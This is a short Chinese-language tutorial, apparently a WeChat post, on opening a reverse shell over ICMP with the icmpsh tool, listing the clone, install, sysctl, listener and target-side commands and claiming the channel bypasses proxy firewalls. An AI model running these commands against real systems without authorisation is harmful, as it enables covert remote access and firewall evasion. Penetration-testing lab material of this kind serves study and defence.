首先在kali上安装icmpsh软件,软件地址https://github.com/inquisb/icmpsh.git
我们可以直接用git克隆过来git clone https://github.com/inquisb/icmpsh.git
然后我们还需要来安装python-impacket类库以保证对TCP、UDP、ICMP等协议的访问
pip2 install impacket
接下来我们还需要关闭我们之前的ping命令应答程序,这样可以防止内核自己对ping包进行响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
实验完成后开启系统ping的话将最后的1改为0即可
然后可以在kali上开始监听
python icmpsh_m.py 本机ip 目标ip
再把icmpsh.exe传输到靶机上
icmpsh.exe -t 192.168.110.140 -t后面接上攻击机的ip地址 回车
接收到shell。由于数据是利用PING请求/回复报文通过网络层传输,因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的,因此这种方式可能绕过一些防火墙规则。
【重要提示】因为公众号改了推送规则,一些小伙伴反映有时收不到文章更新,不想错过的小伙伴可以这样:1、星标:点击公众号头像右上角的小人-然后点击点击右上角的“…”-设为星标。2、分享、赞、在看:在每篇文章下方点亮“分享”、“赞”、“在看”,只有多点,微信才会判定你喜欢这个号,才会给你推送。3、常读:只有多看公众号的文章,微信才会判定你喜欢,文章更新时才会出现在你公众号列表的顶部。